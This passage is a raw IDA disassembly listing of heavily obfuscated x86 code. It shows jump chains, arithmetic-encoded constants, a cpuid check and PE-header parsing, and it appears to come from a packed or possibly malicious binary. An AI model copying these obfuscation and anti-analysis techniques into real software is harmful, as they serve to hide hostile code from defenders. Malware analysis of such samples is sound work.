		push	offset loc_409F3A
		jmp	loc_4054AA
sub_40C1C2	endp

; ---------------------------------------------------------------------------
		or	ecx, edi
		jmp	loc_40CC80
; ---------------------------------------------------------------------------


loc_40C1D4:				; CODE XREF: _837l4vi2:004106B5j
		xchg	edi, ecx
		cmp	ebp, ebx
		jmp	loc_40C8F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4053DD


loc_40C1DD:				; CODE XREF: sub_4053DD:loc_4053F5j
					; sub_406ADC+13C1j ...
		call	sub_40BF48
		test	al, al
		jz	loc_40EB57
		call	sub_40C1F0
		retn
; END OF FUNCTION CHUNK	FOR sub_4053DD

; =============== S U B	R O U T	I N E =======================================



sub_40C1F0	proc near		; CODE XREF: sub_4053DD+6E0Dp
					; sub_40CD8A:loc_40C9F3p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00405061 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0040594C SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00405D0F SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0040723E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004082D2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00408CC6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00408D2A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004097C9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040982B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040990B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00409EA5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040A1A3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A22F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040AA67 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B446 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0040C445 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CF5F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040D42A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EB38 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040F133 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040FBBF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0041046C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00410776 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410A93 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410D85 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00410DD8 SIZE 00000005 BYTES

		push	ebx
		push	85347D24h
		jmp	loc_410DD8
sub_40C1F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E3C8


loc_40C1FB:				; CODE XREF: sub_40E3C8-7AABj
		jnz	loc_40C459
		jmp	loc_4078F2
; END OF FUNCTION CHUNK	FOR sub_40E3C8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_192. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CBC2


loc_40C207:				; CODE XREF: sub_40CBC2+Bj
		jmp	loc_405FF4
; END OF FUNCTION CHUNK	FOR sub_40CBC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409127


loc_40C20C:				; CODE XREF: sub_409127+1Bj
		jmp	loc_40D9AA
; END OF FUNCTION CHUNK	FOR sub_409127
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41083C


loc_40C211:				; CODE XREF: sub_41083C:loc_40C05Dj
		push	eax
		push	0E6B46431h
		pop	eax
		rol	eax, 1Ch
		add	eax, 0E1D560D3h
		xchg	eax, [esp+4+var_4]
		jmp	nullsub_122
; END OF FUNCTION CHUNK	FOR sub_41083C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DF72


loc_40C229:				; CODE XREF: sub_40DF72:loc_40DF40j
		xchg	ecx, [edx]
		jmp	loc_40D114
; END OF FUNCTION CHUNK	FOR sub_40DF72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4103D0


loc_40C230:				; CODE XREF: sub_4103D0-7EBBj
		call	sub_40E739
		push	esi
		mov	[esp+4+var_4], eax


loc_40C239:				; CODE XREF: _837l4vi2:0040FA72j
		rol	eax, 0Ah
		push	esi
		push	9D2FE9Dh


loc_40C242:				; CODE XREF: sub_40DF94+17A2j
		pop	esi
		rol	esi, 1
		jmp	loc_405024
; END OF FUNCTION CHUNK	FOR sub_4103D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FFAC


loc_40C24A:				; CODE XREF: sub_40FFAC:loc_4073D9j
		push	eax
		call	sub_407AA4
		jmp	loc_40E9AA
; END OF FUNCTION CHUNK	FOR sub_40FFAC

; =============== S U B	R O U T	I N E =======================================



sub_40C255	proc near		; CODE XREF: sub_40B088+7ACj

; FUNCTION CHUNK AT 00406D2A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004081B4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0041080B SIZE 0000001D BYTES

		add	esp, 0FFFFFFECh
		mov	eax, offset dword_406B6C
		call	sub_407FEA
		cmp	ds:dword_406B78, 0
		jnz	loc_40EC53
		lea	edx, [ebp-14h]
		jmp	loc_41080B
sub_40C255	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CE96


loc_40C277:				; CODE XREF: sub_40CE96-2793j
		jo	loc_405B64
		pushf


loc_40C27E:				; CODE XREF: sub_40CE96:loc_40B08Ej
		call	sub_40B088
		push	7046ABE7h
		pop	edx
		add	edx, 0DC6F363Ch
		xor	edx, ds:4000D3h
		add	edx, 843BC7Bh
		jmp	loc_40ADEA
; END OF FUNCTION CHUNK	FOR sub_40CE96

; =============== S U B	R O U T	I N E =======================================



sub_40C2A0	proc near		; CODE XREF: sub_40A56F+1p
					; _837l4vi2:004105EBj

arg_0		= dword	ptr  4

		mov	[esp+0], esi
		pop	esi
		mov	ebp, esp
		call	sub_40E5A7


loc_40C2AB:				; CODE XREF: _837l4vi2:0040A584p
					; _837l4vi2:0040E1FDj
		mov	[esp-4+arg_0], ebx


loc_40C2AE:				; CODE XREF: _837l4vi2:00405E5Bj
		pop	ebx
		lea	eax, [ebp-1Ch]
		push	offset loc_40C062
		jmp	nullsub_48
sub_40C2A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4053DD


loc_40C2BC:				; CODE XREF: sub_4053DD+1Ej
		and	eax, 80CB842Fh


loc_40C2C2:				; CODE XREF: _837l4vi2:loc_40B7B4j
		xor	eax, eax
		mov	[ebp-8], eax


loc_40C2C7:				; CODE XREF: sub_4053DD+61F0j
					; sub_40C1A5+12j
		jb	loc_40B880
		mov	eax, [ebp-8]
		mov	dword ptr [ebp+eax*4-70h], 73257325h
		jmp	loc_40B614
; END OF FUNCTION CHUNK	FOR sub_4053DD
; ---------------------------------------------------------------------------
		sbb	eax, esi
		jmp	loc_408135
; ---------------------------------------------------------------------------
		or	ebp, ebx
		jmp	loc_40C6C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410BD3


loc_40C2EB:				; CODE XREF: sub_410BD3-35ACj
		cmp	ecx, 0AFC3B3DDh
		jmp	loc_40BE8F
; END OF FUNCTION CHUNK	FOR sub_410BD3

; =============== S U B	R O U T	I N E =======================================



sub_40C2F6	proc near		; CODE XREF: _837l4vi2:00408C41j
					; sub_409D6B+62FEp

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 0040CE34 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040D05F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0040D469 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		lea	eax, [ebp-80Ch]
		push	eax
		push	0
		push	0
		push	0
		jmp	loc_40D05F
sub_40C2F6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407FEA


loc_40C30C:				; CODE XREF: sub_407FEA:loc_4091F5j
		push	23702B4Eh
		pop	eax
		rol	eax, 1Ah
		add	eax, 34B4E481h
		xor	eax, 0CF8AC065h
		add	eax, ebp
		call	sub_40F4E5
; END OF FUNCTION CHUNK	FOR sub_407FEA
; START	OF FUNCTION CHUNK FOR sub_40CF3C


loc_40C328:				; CODE XREF: sub_40CF3C-73E3j
		jmp	sub_40BF48
; END OF FUNCTION CHUNK	FOR sub_40CF3C

; =============== S U B	R O U T	I N E =======================================



sub_40C32D	proc near		; CODE XREF: sub_40CA5A-3F8Ap
					; _837l4vi2:0040C871j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0040FFFB SIZE 00000005 BYTES

		mov	[esp+0], esi
		pop	esi
		xchg	eax, [esp-4+arg_0]
		jmp	loc_40FFFB
sub_40C32D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B3B0


loc_40C339:				; CODE XREF: sub_40B3B0:loc_40EB8Dj
		mov	[ebp-4], eax
		push	ebp
		mov	eax, offset dword_406538
		mov	edx, 15h
		push	esi
		jmp	loc_40C003
; END OF FUNCTION CHUNK	FOR sub_40B3B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4108F9


loc_40C34D:				; CODE XREF: sub_4108F9:loc_40FC5Dj
		jz	loc_40ABF2
		jmp	loc_40DF67
; END OF FUNCTION CHUNK	FOR sub_4108F9
; ---------------------------------------------------------------------------


loc_40C358:				; CODE XREF: _837l4vi2:00405156j
		jz	locret_4092A6


loc_40C35E:				; CODE XREF: _837l4vi2:loc_40D3C4j
		push	56F5C73Dh
		pop	eax
		xor	eax, 781F246Fh
		jmp	loc_40C131
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407AD3


loc_40C36F:				; CODE XREF: sub_407AD3-DDBj
		jge	loc_40B457
		jnz	loc_40622B
		jmp	loc_40EAD3
; END OF FUNCTION CHUNK	FOR sub_407AD3
; ---------------------------------------------------------------------------


loc_40C380:				; CODE XREF: _837l4vi2:loc_410445j
		mov	ebp, edi
		shr	esi, 0Ah
		pop	edi
		jmp	loc_4094C9
; ---------------------------------------------------------------------------


loc_40C38B:				; CODE XREF: _837l4vi2:0040D81Bj
		jz	loc_408159
		jmp	loc_40F5A7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_94. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405F85


loc_40C397:				; CODE XREF: sub_405F85+79Dj
		jmp	loc_40A020
; END OF FUNCTION CHUNK	FOR sub_405F85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406C3E


loc_40C39C:				; CODE XREF: sub_406C3E+32BAj
		jnz	loc_408240
		mov	eax, [ebp+8]
		call	sub_40CBC2


loc_40C3AA:				; CODE XREF: sub_40E1ED+3j
					; _837l4vi2:loc_40F596j
		jmp	sub_40BF48
; END OF FUNCTION CHUNK	FOR sub_406C3E

; =============== S U B	R O U T	I N E =======================================



sub_40C3AF	proc near		; DATA XREF: sub_40989E-1581o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004057D6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00405EF7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00406170 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00406278 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004065D8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00406627 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00406CD7 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004082AC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00408549 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040C467 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040CD29 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CF96 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D62D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040F5DC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040FAF0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00410A98 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410F01 SIZE 00000005 BYTES

		mov	dword ptr [eax], 737361h
		push	0E1109F99h
		sub	[esp+4+var_4], 0E1109F99h
		lea	eax, [ebp-20h]
		push	eax
		call	sub_408CAC
		jmp	loc_4057D6
sub_40C3AF	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_219. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40C3D0:				; CODE XREF: _837l4vi2:0041040Dj
		jmp	loc_40AE8F
; ---------------------------------------------------------------------------


loc_40C3D5:				; DATA XREF: _837l4vi2:0040D53Do
		or	eax, eax
		jnz	loc_4067EA
		jmp	loc_4090AC
; ---------------------------------------------------------------------------
		pushf
		shl	edi, 1Ah
		jmp	sub_40CA5A
; ---------------------------------------------------------------------------


loc_40C3EB:				; CODE XREF: _837l4vi2:loc_40CCA7j
					; _837l4vi2:0040CCC2j
		add	ecx, 4088E441h
		mov	[ecx], eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40601E


loc_40C3F5:				; CODE XREF: sub_40601E+1429j
		jmp	loc_410AD3
; END OF FUNCTION CHUNK	FOR sub_40601E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408A93


loc_40C3FA:				; CODE XREF: sub_408A93:loc_410967j
		ror	eax, 18h
		jmp	loc_406B48
; END OF FUNCTION CHUNK	FOR sub_408A93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DEDE


loc_40C402:				; CODE XREF: sub_40DEDE:loc_40A5E1j
		jz	loc_40B991
		mov	eax, [ebp-4]
		add	eax, 3Ch
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 18h
		jmp	loc_410D08
; ---------------------------------------------------------------------------


loc_40C41B:				; CODE XREF: sub_40DEDE:loc_40DEE7j
		xor	eax, eax
		mov	[ebp-0Ch], eax
		jmp	loc_40E35D
; END OF FUNCTION CHUNK	FOR sub_40DEDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F1EC


loc_40C425:				; CODE XREF: sub_40F1EC:loc_409BA8j
		mov	[ebp-1Ch], eax
		lea	eax, [ebp-125h]
		mov	[ebp-20h], eax


loc_40C431:				; CODE XREF: sub_409D32+7039j
		call	sub_40B914
; END OF FUNCTION CHUNK	FOR sub_40F1EC
; START	OF FUNCTION CHUNK FOR sub_405D62


loc_40C436:				; CODE XREF: sub_405D62+8908j
		jmp	loc_405CCC
; END OF FUNCTION CHUNK	FOR sub_405D62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40882B


loc_40C43B:				; CODE XREF: sub_40882B+3D43j
		jmp	loc_40E144
; END OF FUNCTION CHUNK	FOR sub_40882B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41087A


loc_40C440:				; CODE XREF: sub_41087A-5F81j
		jmp	loc_40586C
; END OF FUNCTION CHUNK	FOR sub_41087A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C1F0


loc_40C445:				; CODE XREF: sub_40C1F0-28E0j
		jmp	nullsub_165
; END OF FUNCTION CHUNK	FOR sub_40C1F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DF4A


loc_40C44A:				; CODE XREF: sub_40DF4A-4B44j
		jmp	nullsub_138
; END OF FUNCTION CHUNK	FOR sub_40DF4A
; ---------------------------------------------------------------------------
		call	sub_4098B0
; START	OF FUNCTION CHUNK FOR sub_40B859


loc_40C454:				; CODE XREF: sub_40B859+2C76j
		push	0E3F8B55Ah
; END OF FUNCTION CHUNK	FOR sub_40B859
; START	OF FUNCTION CHUNK FOR sub_40E3C8


loc_40C459:				; CODE XREF: sub_40E3C8:loc_40C1FBj
		push	1
		lea	eax, [ebp-800h]
		push	eax
		jmp	loc_4063E9
; END OF FUNCTION CHUNK	FOR sub_40E3C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C3AF


loc_40C467:				; CODE XREF: sub_40C3AF-5DD1j
		xchg	esi, edi
		xor	ebp, edx
		or	eax, ebp
		jmp	loc_40FAF0
; END OF FUNCTION CHUNK	FOR sub_40C3AF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_195. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DD8C


loc_40C473:				; CODE XREF: sub_40DD8C+Dj
		jmp	nullsub_205
; END OF FUNCTION CHUNK	FOR sub_40DD8C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B67D


loc_40C478:				; CODE XREF: sub_40B67D-1820j
		jmp	loc_40B23B
; END OF FUNCTION CHUNK	FOR sub_40B67D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405950


loc_40C47D:				; CODE XREF: sub_405950:loc_40CFB4j
		xor	edx, edx
		cpuid
		and	eax, 2FFFh
		add	[esi], eax
		jmp	loc_40A565
; END OF FUNCTION CHUNK	FOR sub_405950
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40892F


loc_40C48D:				; CODE XREF: _837l4vi2:004057C5j
					; sub_40892F-2CADj ...
		call	sub_409653


loc_40C492:				; CODE XREF: sub_40966E+3435j
					; _837l4vi2:loc_40D748j
		jmp	loc_40F615
; END OF FUNCTION CHUNK	FOR sub_40892F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40848F


loc_40C497:				; CODE XREF: sub_40848F+Cj
		jmp	loc_4079BF
; END OF FUNCTION CHUNK	FOR sub_40848F

; =============== S U B	R O U T	I N E =======================================



sub_40C49C	proc near		; CODE XREF: sub_407918+7p
		mov	[esp+0], eax
		call	sub_40B99D
		retn
sub_40C49C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C4A5	proc near		; CODE XREF: sub_406088p
					; sub_408736-377p ...

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 00405C26 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040669C SIZE 0000001A BYTES

		push	eax
		push	0
		push	eax
		push	0C2D2AFB7h
		pop	eax
		jmp	loc_405C26
sub_40C4A5	endp

; ---------------------------------------------------------------------------
		rol	eax, 0Eh
		jmp	loc_410EB1
; ---------------------------------------------------------------------------


loc_40C4BC:				; CODE XREF: _837l4vi2:00408DE3j
		xor	ebp, edx
		test	edx, edi
		jmp	loc_40F596
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AE2D


loc_40C4C5:				; CODE XREF: sub_40AE2D:loc_4066DCj
		jnz	loc_406040
		jmp	loc_4066E6
; END OF FUNCTION CHUNK	FOR sub_40AE2D
; ---------------------------------------------------------------------------
		jmp	loc_408A4D
; ---------------------------------------------------------------------------
		mov	eax, [ebp-4]
		push	eax
		call	sub_405CBC
		jmp	loc_40B32F
; ---------------------------------------------------------------------------


loc_40C4E3:				; CODE XREF: _837l4vi2:00408F11j
		xchg	ebx, [esp]
		mov	edi, ebx
		pop	ebx
		cmp	dword ptr [ebp-4], 0
		jz	loc_40CCD1
		jmp	loc_40B7B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407FEA


loc_40C4F8:				; CODE XREF: sub_407FEA+4674j
		not	edi
		test	edi, edx
		jmp	loc_405449
; END OF FUNCTION CHUNK	FOR sub_407FEA
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp-0Ch], 0
		jz	loc_406CD7
		push	0D990D2C8h
		pop	eax
		add	eax, 0F29CFAF7h
		jmp	loc_40E7D9
; ---------------------------------------------------------------------------
		sub	eax, 9563C94h
		jmp	sub_4099A5
; ---------------------------------------------------------------------------
		add	eax, edi
		jmp	sub_409694
; ---------------------------------------------------------------------------
		js	loc_4087E3
		jmp	sub_4065B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B4E8


loc_40C539:				; CODE XREF: sub_40B4E8:loc_40F0A5j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_40B4E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409CCE


loc_40C53B:				; CODE XREF: sub_409CCE-7B8j
		jmp	nullsub_128
; END OF FUNCTION CHUNK	FOR sub_409CCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B4E8


loc_40C540:				; CODE XREF: sub_40B4E8+3BAFj
		mov	eax, [ebp+8]
		push	offset loc_40A821
		jmp	loc_406B15
; END OF FUNCTION CHUNK	FOR sub_40B4E8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_21. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_92. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40611B


loc_40C54F:				; CODE XREF: sub_40611B+1239j
		jmp	sub_40F812
; END OF FUNCTION CHUNK	FOR sub_40611B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408D2F


loc_40C554:				; CODE XREF: sub_408D2F:loc_405AC9j
		mov	ds:dword_40ABAC, eax

locret_40C55A:				; CODE XREF: _837l4vi2:loc_40C949j
		retn
; END OF FUNCTION CHUNK	FOR sub_408D2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B3A7


loc_40C55B:				; CODE XREF: _837l4vi2:0040B158j
					; sub_40B3A7+25ABj
		ror	eax, 12h
		push	offset loc_407497
		jmp	loc_4086B4
; END OF FUNCTION CHUNK	FOR sub_40B3A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40882B


loc_40C568:				; CODE XREF: sub_40882B:loc_40883Dj
		jz	loc_405532
		jmp	loc_40C43B
; END OF FUNCTION CHUNK	FOR sub_40882B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40C573:				; CODE XREF: sub_40D735:loc_408426j
		add	eax, ebp
		call	sub_40B77A

locret_40C57A:				; CODE XREF: sub_4104E3-9D70j
		retn
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408BA9


loc_40C57B:				; CODE XREF: sub_408BA9+59B6j
		jmp	loc_4100A0
; END OF FUNCTION CHUNK	FOR sub_408BA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40C580:				; CODE XREF: sub_40D735:loc_40B759j
		jmp	loc_406A17
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407EF6


loc_40C585:				; CODE XREF: sub_407EF6+27BAj
		jmp	loc_40DDE4
; END OF FUNCTION CHUNK	FOR sub_407EF6
; ---------------------------------------------------------------------------


loc_40C58A:				; CODE XREF: _837l4vi2:0040A617j
		jmp	locret_40E179
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4098CA


loc_40C58F:				; CODE XREF: sub_4098CA-1D8Bj
					; _837l4vi2:004094ACj
		jmp	nullsub_49
; END OF FUNCTION CHUNK	FOR sub_4098CA
; ---------------------------------------------------------------------------

locret_40C594:				; CODE XREF: _837l4vi2:loc_4062D2j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405250


loc_40C595:				; CODE XREF: sub_405250+169j
		mov	[ebp+0], eax
		jmp	loc_40879F
; END OF FUNCTION CHUNK	FOR sub_405250
; ---------------------------------------------------------------------------
		pop	esi
		jmp	sub_40DEDE

; =============== S U B	R O U T	I N E =======================================



sub_40C5A3	proc near		; CODE XREF: sub_407B23+5p
					; _837l4vi2:0040EFCEj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0040B6D9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0040CED8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040EF17 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	11F588B7h
		pop	eax
		xor	eax, 0E108BF2Bh
		cmp	eax, 0F944DD29h
		jmp	loc_40B6D9
sub_40C5A3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40C5BE	proc near		; DATA XREF: sub_40C162:loc_408AFDo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0040562F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004074BC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00407737 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00408224 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040B3CD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B66C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040D2BE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040FA5C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410972 SIZE 00000010 BYTES

		add	eax, ebp
		add	eax, 44719E12h
		push	edi
		mov	edi, eax


loc_40C5C9:				; CODE XREF: sub_4078C8:loc_4076F3j
		jmp	loc_40562F
sub_40C5BE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4053DD


loc_40C5CE:				; CODE XREF: sub_4053DD+2F78j
		test	ecx, 892BF7E9h
		jmp	loc_405A39
; END OF FUNCTION CHUNK	FOR sub_4053DD
; ---------------------------------------------------------------------------


loc_40C5D9:				; CODE XREF: _837l4vi2:0040A441j
		jge	locret_40AA66

; =============== S U B	R O U T	I N E =======================================



sub_40C5DF	proc near		; CODE XREF: _837l4vi2:0040565Ep

; FUNCTION CHUNK AT 004069E5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040C91F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040E548 SIZE 00000005 BYTES

		mov	[esp+0], ebx
		pop	ebx
		xor	edx, 8B6F0149h
		call	sub_40E739
		jmp	loc_40E548
sub_40C5DF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jns	loc_408918
		jmp	sub_40FFAC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408F4B


loc_40C5FE:				; CODE XREF: sub_408F4B+15j
		mov	esp, ebp
		pop	ebp
		push	esi
		push	9E7AB3DBh
		pop	esi
		or	esi, 0B51ECDD3h
		add	esi, 40C16D7Dh
		jmp	loc_405CDA
; END OF FUNCTION CHUNK	FOR sub_408F4B

; =============== S U B	R O U T	I N E =======================================



sub_40C619	proc near		; CODE XREF: _837l4vi2:004086D4j
					; sub_405F85+9997p
		xchg	edi, [esp+0]
		pop	edi
		add	edx, 0A32F185Fh
		call	sub_40E739
		push	eax
		rol	eax, 9
		mov	ds:dword_410690, eax
		retn
sub_40C619	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CBB2


loc_40C633:				; CODE XREF: sub_40CBB2+2379j
		jmp	loc_40E648
; END OF FUNCTION CHUNK	FOR sub_40CBB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409868


loc_40C638:				; CODE XREF: sub_409868+10j
		jmp	loc_40F7E3
; END OF FUNCTION CHUNK	FOR sub_409868
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409ADF


loc_40C63D:				; CODE XREF: sub_409ADF+15j
		add	edx, 168E38B4h
		add	edx, ecx
		add	edx, 0A16D4800h
		mov	[edx], eax
		pop	edx
		jmp	loc_40FA93
; END OF FUNCTION CHUNK	FOR sub_409ADF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A58E


loc_40C653:				; CODE XREF: sub_40A58E+3301j
		call	sub_409AA3
; END OF FUNCTION CHUNK	FOR sub_40A58E
; START	OF FUNCTION CHUNK FOR sub_407FEA


loc_40C658:				; CODE XREF: sub_407FEA+211Dj
		jz	loc_405458
		jmp	loc_40C4F8
; END OF FUNCTION CHUNK	FOR sub_407FEA
; ---------------------------------------------------------------------------
		sbb	edi, edx
		jmp	loc_40DEBF
; ---------------------------------------------------------------------------
		push	edx
		push	0D720C9A5h
		pop	edx
		add	edx, 0FD7F12E4h
		rol	edx, 11h
		jmp	loc_410E15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405C17


loc_40C67F:				; CODE XREF: sub_405C17+8EE3j
		jo	loc_40FA5C
		test	ecx, 8C3C58CEh
		jmp	loc_40B29F
; END OF FUNCTION CHUNK	FOR sub_405C17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AC43


loc_40C690:				; CODE XREF: sub_40AC43:loc_40B3F2j
		pop	edi
		add	edi, 0AC922B9Bh
		add	edi, ebp
		push	offset loc_40A121


loc_40C69E:				; CODE XREF: _837l4vi2:loc_40F8BAj
		jmp	loc_40923F
; END OF FUNCTION CHUNK	FOR sub_40AC43
; ---------------------------------------------------------------------------


loc_40C6A3:				; CODE XREF: _837l4vi2:00407F44j
		jz	loc_4107B7
		jmp	loc_40CAC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4087FF


